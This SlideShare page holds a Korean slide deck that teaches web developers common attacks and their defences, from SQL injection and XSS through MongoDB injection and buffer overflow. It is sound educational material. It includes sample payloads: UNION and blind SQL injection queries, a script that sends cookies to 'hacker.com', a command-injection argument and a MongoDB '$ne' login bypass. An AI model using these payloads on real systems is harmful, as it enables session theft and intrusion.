SlideShare una empresa de Scribd logo
1 de 46
Descargar para leer sin conexión
웹 개발을 위해
꼭 알아야하는 보안 공격
2021. 02. 22
이선협
오늘의 목표
웹 보안에 대해 이해하고 기초 공격 기법과 해결 방법을 이해한다.
웹 보안
웹 사이트의 취약점을 공격하는 기술적 위협으로, 웹 페이지를 통하여
권한이 없는 시스템에 접근하거나 데이터 유출 및 파괴와 같은 행위를 말한다.
https://ko.wikipedia.org/wiki/웹_해킹
한 순간의 실수로 서비스가 망할 수도 있다! 😨
너무 다양한 공격 기법…
SQL Injection
XSS
CSRF Attack
File Upload Attack
Command Injection
Buffer Overflow
Dictionary Attack
.
.
.
전부는 아니더라도 기초적인 것은
꼭 알아둬야한다
알아야하는 공격 기법
Start
SQL Injection
•서버에서 실행되는 SQL을 악의적으로 이용하는 공격
•기존 SQL에 악의적인 SQL을 삽입한다.
•데이터 탈취, 삭제 등이 가능하다.
•뚫리면 서비스 종료각
SQL Injection - 사례
SQL Injection - 사례
SQL Injection - 방어
•SQL에서 특별한 의미를 가지는 문자를 이스케이프한다.
ex) n, t, |, /, &, #, …...
•준비된 선언을 사용한다.
•요즘은 라이브러리, 프레임워크에서 아주 잘 막아준다.
SQL Injection - 심화
•Error based SQL Injection
•일부러 SQL 에러를 발생시켜 원하는 정보를 취득한다.
•쿼리문 추측, DB명, 테이블명 등의 취득이 가능하다.
SQL Injection - 심화
•Blind SQL Injection
•Query 결과의 참/거짓을 보고 원하는 정보가
존재하는지 알 수 있다. (추론)
•DB, Table 명을 알 수 있다.
•SQLMap
ex) SELECT * FROM users WHERE user_id = '1' and substring(database(),1,2)='us'#
SQL Injection - 심화
•Union SQL Injection
•Union 명령을 이용하여 정보를 취득한다.
ex) SELECT * FROM users WHERE user_id = '1' or 1=1 UNION SELECT '',id,pw from users#
XSS
•Crose-Site Scripting
•웹 페이지에 악성 스크립트를 삽입하는 공격
•사이트 이용자 정보를 탈취할 수 있다.
•뚫리면 많은 것을 잃는다.
XSS - 사례
<script>document.URL='http://hacker.com?'+document.cookie</script>
게시판 이용자가 글을 읽을 때 토큰 탈취!!!
XSS - 방어
•HTML 필터링을 한 후 DB에 저장한다.
ex) <, >, script, html, head, meta, ……
•만약을 위해 프론트엔드에서도 필터링한다.
XSS - 심화
•앞서 소개한 방식은 Stored XSS
•Reflected XSS
•DOM Based XSS
XSS - 심화
•Reflected XSS
•검색어 등을 보여주는 곳에 스크립트를 심는 공격
•URL을 사용자에게 누르게 만들면 공격 성공
https://papago.naver.com/?sk=ko&tk=en&st=<script>…</script>
XSS - 심화
•DOM Based XSS
•DOM에 악의적인 스크립트를 심는 공격
•브라우저가 해석하는 단계에서 발생되는 공격
CSRF Attack
•Cross-Site Request Forgery
•공격자가 사용자를 이용하여 웹 사이트에
요청을 보내는 공격
CSRF Attack - 사례
가짜 진짜
admin
1q2w3e4r
로그인 요청
성공/실패
성공했으면 저장
CSRF Attack - 방어
•Referrer Check
•허용한 도메인만 요청 허락하도록 설정
•CSRF Token
•모든 요청에 토큰을 발급하여 서버에서 검증
•CAPTCHA
•사람이 요청한 것이 맞는지 검증
Command Injection
•애플리케이션에서 사용되는 시스템 명령에 악의적인
명령어를 삽입하는 공격 (WebShell Attack)
•서버 root 권한을 취득할 수 있다.
•뚫리면 서비스 종료각
Command Injection - 사례
Hacker
text.txt; ifconfig
system("cat ${var}")
execute
WebShell
Command Injection - 방어
•가급적 시스템 함수는 사용 X
•민감한 문자를 필터링
ex) |, &, ;, >, <
File Upload Attack
•악성 스크립트 파일을 업로드하는 공격
•업로드 후 파일 위치를 찾아 실행시키면 공격 성공
•뚫리면 서비스 종료각
File Upload Attack - 사례
Upload
1 2
Command WebShell
File Upload Attack - 방어
•확장자 / 파일 타입 검사
•업로드 파일을 난수화하여 저장
•특수 문자가 포함된 경우 업로드 금지
(Null byte Injection 방어)
Javascript Injection
•Client-Side에서 Javascript를 삽입시키는 공격
•크롬 console 등을 통해 조작 가능하다.
•Client-Side에 민감한 데이터를 넣을 경우 탈취 가능
Javascript Injection - 사례
Javascript Injection - 방어
•Client-Side엔 민감한 정보를 절대 넣지 않는다.
•데이터 유효성 검사가 필요한 경우 서버와 통신한다.
(Client에서 검사하면 안된다)
DDoS
•Distributed Denial of Service
•서버에 비정상적으로 많은 트래픽을 보내는 공격
•서비스가 마비되고 많은 비용이 소모된다.
DDoS - 사례
Zombie PC
Traffic
DDoS - 방어
•제일 단순한데 제일 막기 어렵다.
•확장 가능한 서비스 구조 설계
•IP 필터링
•솔루션 구매... …
Dictionary Attack
•미리 사전에 등록해놓은 문자열을 암호로 대입하는 공격
•Brute Force의 일종
Dictionary Attack - 사례
admin
apple

banana

cyber

.

.

.

1q2w3e4r
Dictionary Attack - 방어
•의미가 있는 문자열은 암호로 등록 못하도록 설정
•Account Lockout Policy
•2-factor 인증
Rainbow Table
•해시 함수를 이용한 평문을 모두 저장시켜 놓은 표
•계정 탈취 후 암호 원문을 알아내기 위해 사용
Rainbow Table - 방어
•Salt 사용
•Key Stretching
•PBKDF2, Bcrypt 등의 암호화 알고리즘 사용
MongoDB Injection
•SQL Injection처럼 악의적인 값을 넣어
DB를 조작하는 공격
•뚫리면 서비스 종료각
MongoDB Injection - 사례
db.collection.find({ "email": "kciter@cobalt.run", "password": password })
db.collection.find({ "email": "kciter@cobalt.run", "password": { "$ne": "-" })
password = { "$ne": "-" }
MongoDB Injection - 방어
•영향을 줄 수 있는 문자를 필터링한다.
ex) $, {, }, [, ], (, ), ...
Buffer Overflow
•Buffer Overflow를 통해 다른 메모리에 접근하는 공격
•다른 메모리에 접근 및 제어가 가능하기 때문에 치명적
•시스템 해킹 기법이기도 하다.
•뚫리면 서비스 종료각
웹 개발을 위해 꼭 알아야하는 보안 공격

Más contenido relacionado

La actualidad más candente

Photon게임서버 네트워크엔진과 GBaaS를 통한 AWS DB 서비스 구성 방법 소개 - AWS Summit Seoul 2017
Photon게임서버 네트워크엔진과 GBaaS를 통한 AWS DB 서비스 구성 방법 소개 - AWS Summit Seoul 2017Photon게임서버 네트워크엔진과 GBaaS를 통한 AWS DB 서비스 구성 방법 소개 - AWS Summit Seoul 2017
Photon게임서버 네트워크엔진과 GBaaS를 통한 AWS DB 서비스 구성 방법 소개 - AWS Summit Seoul 2017
Amazon Web Services Korea
 
NDC 2013, 마비노기 영웅전 개발 테크니컬 포스트-모템
NDC 2013, 마비노기 영웅전 개발 테크니컬 포스트-모템NDC 2013, 마비노기 영웅전 개발 테크니컬 포스트-모템
NDC 2013, 마비노기 영웅전 개발 테크니컬 포스트-모템
tcaesvk
 

La actualidad más candente (20)

The Future Of Web Frameworks
The Future Of Web FrameworksThe Future Of Web Frameworks
The Future Of Web Frameworks
 
코드 리뷰의 또 다른 접근 방법: Pull Requests vs. Stacked Changes
코드 리뷰의 또 다른 접근 방법: Pull Requests vs. Stacked Changes코드 리뷰의 또 다른 접근 방법: Pull Requests vs. Stacked Changes
코드 리뷰의 또 다른 접근 방법: Pull Requests vs. Stacked Changes
 
Basic overview of Angular
Basic overview of AngularBasic overview of Angular
Basic overview of Angular
 
Domain Driven Testing: Know What You’re Doing
Domain Driven Testing: Know What You’re DoingDomain Driven Testing: Know What You’re Doing
Domain Driven Testing: Know What You’re Doing
 
Comp 4010 2021 Snap Tutorial 2
Comp 4010 2021 Snap Tutorial 2Comp 4010 2021 Snap Tutorial 2
Comp 4010 2021 Snap Tutorial 2
 
Photon게임서버 네트워크엔진과 GBaaS를 통한 AWS DB 서비스 구성 방법 소개 - AWS Summit Seoul 2017
Photon게임서버 네트워크엔진과 GBaaS를 통한 AWS DB 서비스 구성 방법 소개 - AWS Summit Seoul 2017Photon게임서버 네트워크엔진과 GBaaS를 통한 AWS DB 서비스 구성 방법 소개 - AWS Summit Seoul 2017
Photon게임서버 네트워크엔진과 GBaaS를 통한 AWS DB 서비스 구성 방법 소개 - AWS Summit Seoul 2017
 
AWS로 게임 기반 다지기 - 김병수, 박진성 :: AWS Game Master 온라인 세미나 #3
AWS로 게임 기반 다지기 - 김병수, 박진성 :: AWS Game Master 온라인 세미나 #3 AWS로 게임 기반 다지기 - 김병수, 박진성 :: AWS Game Master 온라인 세미나 #3
AWS로 게임 기반 다지기 - 김병수, 박진성 :: AWS Game Master 온라인 세미나 #3
 
How to Improve Visual Rendering Quality in VR - Unite Copenhagen 2019
How to Improve Visual Rendering Quality in VR - Unite Copenhagen 2019How to Improve Visual Rendering Quality in VR - Unite Copenhagen 2019
How to Improve Visual Rendering Quality in VR - Unite Copenhagen 2019
 
NDC 2013, 마비노기 영웅전 개발 테크니컬 포스트-모템
NDC 2013, 마비노기 영웅전 개발 테크니컬 포스트-모템NDC 2013, 마비노기 영웅전 개발 테크니컬 포스트-모템
NDC 2013, 마비노기 영웅전 개발 테크니컬 포스트-모템
 
유니티 + Nodejs를 활용한 멀티플레이어 게임 개발하기
유니티 + Nodejs를 활용한 멀티플레이어 게임 개발하기유니티 + Nodejs를 활용한 멀티플레이어 게임 개발하기
유니티 + Nodejs를 활용한 멀티플레이어 게임 개발하기
 
디지털트윈 기술 동향과 전망 - 국토연구원 월간국토 4월호 기고
디지털트윈 기술 동향과 전망 - 국토연구원 월간국토 4월호 기고디지털트윈 기술 동향과 전망 - 국토연구원 월간국토 4월호 기고
디지털트윈 기술 동향과 전망 - 국토연구원 월간국토 4월호 기고
 
Building VR Applications For Google Cardboard
Building VR Applications For Google CardboardBuilding VR Applications For Google Cardboard
Building VR Applications For Google Cardboard
 
SonarQube - Como avaliar seus fornecedores e garantir a qualidade de suas ent...
SonarQube - Como avaliar seus fornecedores e garantir a qualidade de suas ent...SonarQube - Como avaliar seus fornecedores e garantir a qualidade de suas ent...
SonarQube - Como avaliar seus fornecedores e garantir a qualidade de suas ent...
 
Clean architecture on android
Clean architecture on androidClean architecture on android
Clean architecture on android
 
게임엔진과 공간정보 3D 콘텐츠 융합 : Cesium for Unreal
게임엔진과 공간정보 3D 콘텐츠 융합 : Cesium for Unreal게임엔진과 공간정보 3D 콘텐츠 융합 : Cesium for Unreal
게임엔진과 공간정보 3D 콘텐츠 융합 : Cesium for Unreal
 
Optimize your game with the Profile Analyzer - Unite Copenhagen 2019
Optimize your game with the Profile Analyzer - Unite Copenhagen 2019Optimize your game with the Profile Analyzer - Unite Copenhagen 2019
Optimize your game with the Profile Analyzer - Unite Copenhagen 2019
 
Terraform 101: What's infrastructure as code?
Terraform 101: What's infrastructure as code?Terraform 101: What's infrastructure as code?
Terraform 101: What's infrastructure as code?
 
Domain Driven Design: Zero to Hero
Domain Driven Design: Zero to HeroDomain Driven Design: Zero to Hero
Domain Driven Design: Zero to Hero
 
Lecture 9 AR Technology
Lecture 9 AR TechnologyLecture 9 AR Technology
Lecture 9 AR Technology
 
Hexagonal architecture for java applications
Hexagonal architecture for java applicationsHexagonal architecture for java applications
Hexagonal architecture for java applications
 

Similar a 웹 개발을 위해 꼭 알아야하는 보안 공격

Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
nooralmousa
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
OWASP Khartoum
 
Open source security
Open source securityOpen source security
Open source security
lrigknat
 

Similar a 웹 개발을 위해 꼭 알아야하는 보안 공격 (20)

Cross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning CenterCross Site Scripting - Mozilla Security Learning Center
Cross Site Scripting - Mozilla Security Learning Center
 
Django (Web Applications that are Secure by Default)
Django �(Web Applications that are Secure by Default�)Django �(Web Applications that are Secure by Default�)
Django (Web Applications that are Secure by Default)
 
Security Vulnerabilities
Security VulnerabilitiesSecurity Vulnerabilities
Security Vulnerabilities
 
Case Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by DefaultCase Study of Django: Web Frameworks that are Secure by Default
Case Study of Django: Web Frameworks that are Secure by Default
 
Vulnerabilities in modern web applications
Vulnerabilities in modern web applicationsVulnerabilities in modern web applications
Vulnerabilities in modern web applications
 
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
Mr. Mohammed Aldoub  - A case study of django web applications that are secur...Mr. Mohammed Aldoub  - A case study of django web applications that are secur...
Mr. Mohammed Aldoub - A case study of django web applications that are secur...
 
Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)Owasp Top 10 A3: Cross Site Scripting (XSS)
Owasp Top 10 A3: Cross Site Scripting (XSS)
 
Browser Security 101
Browser Security 101 Browser Security 101
Browser Security 101
 
Web application security part 01
Web application security part 01Web application security part 01
Web application security part 01
 
Secure webbrowsing 1
Secure webbrowsing 1Secure webbrowsing 1
Secure webbrowsing 1
 
Codeinjection
CodeinjectionCodeinjection
Codeinjection
 
Xss talk, attack and defense
Xss talk, attack and defenseXss talk, attack and defense
Xss talk, attack and defense
 
Cross site scripting
Cross site scripting Cross site scripting
Cross site scripting
 
XSS (Cross Site Scripting)
XSS (Cross Site Scripting)XSS (Cross Site Scripting)
XSS (Cross Site Scripting)
 
Cross Site Scripting (XSS)
Cross Site Scripting (XSS)Cross Site Scripting (XSS)
Cross Site Scripting (XSS)
 
Security Basics For Developers Knowledge
Security Basics For Developers KnowledgeSecurity Basics For Developers Knowledge
Security Basics For Developers Knowledge
 
a
aa
a
 
Security vulnerabilities - 2018
Security vulnerabilities - 2018Security vulnerabilities - 2018
Security vulnerabilities - 2018
 
Open source security
Open source securityOpen source security
Open source security
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 

Más de 선협 이

Más de 선협 이 (16)

MongoDB 이해하기
MongoDB 이해하기MongoDB 이해하기
MongoDB 이해하기
 
Deep dive into Vue.js
Deep dive into Vue.jsDeep dive into Vue.js
Deep dive into Vue.js
 
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
오픈소스를 여행하는 히치하이커를 위한 안내서 - 자막
 
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
Metal 기반 특별한 UI/UX 제공하기 - Let'Swift 2017
 
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2ndVue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
Vue.js와 Reactive Programming 자막 :: Vuetiful Korea 2nd
 
Reactive Programming With Swift
Reactive Programming With SwiftReactive Programming With Swift
Reactive Programming With Swift
 
Tour of Vue.js
Tour of Vue.jsTour of Vue.js
Tour of Vue.js
 
Functional Reactive Programming With RxSwift
Functional Reactive Programming With RxSwiftFunctional Reactive Programming With RxSwift
Functional Reactive Programming With RxSwift
 
파크히어 Realm 사용 사례
파크히어 Realm 사용 사례파크히어 Realm 사용 사례
파크히어 Realm 사용 사례
 
왜 Swift를 해야할까요?
왜 Swift를 해야할까요?왜 Swift를 해야할까요?
왜 Swift를 해야할까요?
 
C++ 코드 품질 관리 비법
C++ 코드 품질 관리 비법C++ 코드 품질 관리 비법
C++ 코드 품질 관리 비법
 
C++과 Lua script연동
C++과 Lua script연동C++과 Lua script연동
C++과 Lua script연동
 
C++11
C++11C++11
C++11
 
MSBuild + Git + Jenkins
MSBuild + Git + JenkinsMSBuild + Git + Jenkins
MSBuild + Git + Jenkins
 
Post Effect 테스트
Post Effect 테스트Post Effect 테스트
Post Effect 테스트
 
C++과 TDD
C++과 TDDC++과 TDD
C++과 TDD
 

Último

Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
WSO2
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Safe Software
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
?#DUbAI#??##{{(☎️+971_581248768%)**%*]'#abortion pills for sale in dubai@
 

Último (20)

Architecting Cloud Native Applications
Architecting Cloud Native ApplicationsArchitecting Cloud Native Applications
Architecting Cloud Native Applications
 
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers:  A Deep Dive into Serverless Spatial Data and FMECloud Frontiers:  A Deep Dive into Serverless Spatial Data and FME
Cloud Frontiers: A Deep Dive into Serverless Spatial Data and FME
 
Boost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdfBoost Fertility New Invention Ups Success Rates.pdf
Boost Fertility New Invention Ups Success Rates.pdf
 
DBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor PresentationDBX First Quarter 2024 Investor Presentation
DBX First Quarter 2024 Investor Presentation
 
FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024FWD Group - Insurer Innovation Award 2024
FWD Group - Insurer Innovation Award 2024
 
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemkeProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
ProductAnonymous-April2024-WinProductDiscovery-MelissaKlemke
 
AWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of TerraformAWS Community Day CPH - Three problems of Terraform
AWS Community Day CPH - Three problems of Terraform
 
Exploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone ProcessorsExploring the Future Potential of AI-Enabled Smartphone Processors
Exploring the Future Potential of AI-Enabled Smartphone Processors
 
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
Connector Corner: Accelerate revenue generation using UiPath API-centric busi...
 
Automating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps ScriptAutomating Google Workspace (GWS) & more with Apps Script
Automating Google Workspace (GWS) & more with Apps Script
 
Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...Apidays New York 2024 - The value of a flexible API Management solution for O...
Apidays New York 2024 - The value of a flexible API Management solution for O...
 
Apidays Singapore 2024 - Modernizing Securities Finance by Madhu Subbu
Apidays Singapore 2024 - Modernizing Securities Finance by Madhu SubbuApidays Singapore 2024 - Modernizing Securities Finance by Madhu Subbu
Apidays Singapore 2024 - Modernizing Securities Finance by Madhu Subbu
 
Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024Manulife - Insurer Transformation Award 2024
Manulife - Insurer Transformation Award 2024
 
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWEREMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
EMPOWERMENT TECHNOLOGY GRADE 11 QUARTER 2 REVIEWER
 
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
+971581248768>> SAFE AND ORIGINAL ABORTION PILLS FOR SALE IN DUBAI AND ABUDHA...
 
MS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectorsMS Copilot expands with MS Graph connectors
MS Copilot expands with MS Graph connectors
 
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
Emergent Methods: Multi-lingual narrative tracking in the news - real-time ex...
 
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
Apidays Singapore 2024 - Building Digital Trust in a Digital Economy by Veron...
 
MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024MINDCTI Revenue Release Quarter One 2024
MINDCTI Revenue Release Quarter One 2024
 
How to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected WorkerHow to Troubleshoot Apps for the Modern Connected Worker
How to Troubleshoot Apps for the Modern Connected Worker
 

웹 개발을 위해 꼭 알아야하는 보안 공격

  • 1. 웹 개발을 위해 꼭 알아야하는 보안 공격 2021. 02. 22 이선협
  • 2. 오늘의 목표 웹 보안에 대해 이해하고 기초 공격 기법과 해결 방법을 이해한다.
  • 3. 웹 보안 웹 사이트의 취약점을 공격하는 기술적 위협으로, 웹 페이지를 통하여 권한이 없는 시스템에 접근하거나 데이터 유출 및 파괴와 같은 행위를 말한다. https://ko.wikipedia.org/wiki/웹_해킹
  • 4.
  • 5. 한 순간의 실수로 서비스가 망할 수도 있다! 😨
  • 6. 너무 다양한 공격 기법… SQL Injection XSS CSRF Attack File Upload Attack Command Injection Buffer Overflow Dictionary Attack . . .
  • 7. 전부는 아니더라도 기초적인 것은 꼭 알아둬야한다
  • 9. SQL Injection •서버에서 실행되는 SQL을 악의적으로 이용하는 공격 •기존 SQL에 악의적인 SQL을 삽입한다. •데이터 탈취, 삭제 등이 가능하다. •뚫리면 서비스 종료각
  • 10. SQL Injection - 사례
  • 11. SQL Injection - 사례
  • 12. SQL Injection - 방어 •SQL에서 특별한 의미를 가지는 문자를 이스케이프한다. ex) n, t, |, /, &, #, …... •준비된 선언을 사용한다. •요즘은 라이브러리, 프레임워크에서 아주 잘 막아준다.
  • 13. SQL Injection - 심화 •Error based SQL Injection •일부러 SQL 에러를 발생시켜 원하는 정보를 취득한다. •쿼리문 추측, DB명, 테이블명 등의 취득이 가능하다.
  • 14. SQL Injection - 심화 •Blind SQL Injection •Query 결과의 참/거짓을 보고 원하는 정보가 존재하는지 알 수 있다. (추론) •DB, Table 명을 알 수 있다. •SQLMap ex) SELECT * FROM users WHERE user_id = '1' and substring(database(),1,2)='us'#
  • 15. SQL Injection - 심화 •Union SQL Injection •Union 명령을 이용하여 정보를 취득한다. ex) SELECT * FROM users WHERE user_id = '1' or 1=1 UNION SELECT '',id,pw from users#
  • 16. XSS •Crose-Site Scripting •웹 페이지에 악성 스크립트를 삽입하는 공격 •사이트 이용자 정보를 탈취할 수 있다. •뚫리면 많은 것을 잃는다.
  • 18. XSS - 방어 •HTML 필터링을 한 후 DB에 저장한다. ex) <, >, script, html, head, meta, …… •만약을 위해 프론트엔드에서도 필터링한다.
  • 19. XSS - 심화 •앞서 소개한 방식은 Stored XSS •Reflected XSS •DOM Based XSS
  • 20. XSS - 심화 •Reflected XSS •검색어 등을 보여주는 곳에 스크립트를 심는 공격 •URL을 사용자에게 누르게 만들면 공격 성공 https://papago.naver.com/?sk=ko&tk=en&st=<script>…</script>
  • 21. XSS - 심화 •DOM Based XSS •DOM에 악의적인 스크립트를 심는 공격 •브라우저가 해석하는 단계에서 발생되는 공격
  • 22. CSRF Attack •Cross-Site Request Forgery •공격자가 사용자를 이용하여 웹 사이트에 요청을 보내는 공격
  • 23. CSRF Attack - 사례 가짜 진짜 admin 1q2w3e4r 로그인 요청 성공/실패 성공했으면 저장
  • 24. CSRF Attack - 방어 •Referrer Check •허용한 도메인만 요청 허락하도록 설정 •CSRF Token •모든 요청에 토큰을 발급하여 서버에서 검증 •CAPTCHA •사람이 요청한 것이 맞는지 검증
  • 25. Command Injection •애플리케이션에서 사용되는 시스템 명령에 악의적인 명령어를 삽입하는 공격 (WebShell Attack) •서버 root 권한을 취득할 수 있다. •뚫리면 서비스 종료각
  • 26. Command Injection - 사례 Hacker text.txt; ifconfig system("cat ${var}") execute WebShell
  • 27. Command Injection - 방어 •가급적 시스템 함수는 사용 X •민감한 문자를 필터링 ex) |, &, ;, >, <
  • 28. File Upload Attack •악성 스크립트 파일을 업로드하는 공격 •업로드 후 파일 위치를 찾아 실행시키면 공격 성공 •뚫리면 서비스 종료각
  • 29. File Upload Attack - 사례 Upload 1 2 Command WebShell
  • 30. File Upload Attack - 방어 •확장자 / 파일 타입 검사 •업로드 파일을 난수화하여 저장 •특수 문자가 포함된 경우 업로드 금지 (Null byte Injection 방어)
  • 31. Javascript Injection •Client-Side에서 Javascript를 삽입시키는 공격 •크롬 console 등을 통해 조작 가능하다. •Client-Side에 민감한 데이터를 넣을 경우 탈취 가능
  • 33. Javascript Injection - 방어 •Client-Side엔 민감한 정보를 절대 넣지 않는다. •데이터 유효성 검사가 필요한 경우 서버와 통신한다. (Client에서 검사하면 안된다)
  • 34. DDoS •Distributed Denial of Service •서버에 비정상적으로 많은 트래픽을 보내는 공격 •서비스가 마비되고 많은 비용이 소모된다.
  • 35. DDoS - 사례 Zombie PC Traffic
  • 36. DDoS - 방어 •제일 단순한데 제일 막기 어렵다. •확장 가능한 서비스 구조 설계 •IP 필터링 •솔루션 구매... …
  • 37. Dictionary Attack •미리 사전에 등록해놓은 문자열을 암호로 대입하는 공격 •Brute Force의 일종
  • 38. Dictionary Attack - 사례 admin apple banana cyber . . . 1q2w3e4r
  • 39. Dictionary Attack - 방어 •의미가 있는 문자열은 암호로 등록 못하도록 설정 •Account Lockout Policy •2-factor 인증
  • 40. Rainbow Table •해시 함수를 이용한 평문을 모두 저장시켜 놓은 표 •계정 탈취 후 암호 원문을 알아내기 위해 사용
  • 41. Rainbow Table - 방어 •Salt 사용 •Key Stretching •PBKDF2, Bcrypt 등의 암호화 알고리즘 사용
  • 42. MongoDB Injection •SQL Injection처럼 악의적인 값을 넣어 DB를 조작하는 공격 •뚫리면 서비스 종료각
  • 43. MongoDB Injection - 사례 db.collection.find({ "email": "kciter@cobalt.run", "password": password }) db.collection.find({ "email": "kciter@cobalt.run", "password": { "$ne": "-" }) password = { "$ne": "-" }
  • 44. MongoDB Injection - 방어 •영향을 줄 수 있는 문자를 필터링한다. ex) $, {, }, [, ], (, ), ...
  • 45. Buffer Overflow •Buffer Overflow를 통해 다른 메모리에 접근하는 공격 •다른 메모리에 접근 및 제어가 가능하기 때문에 치명적 •시스템 해킹 기법이기도 하다. •뚫리면 서비스 종료각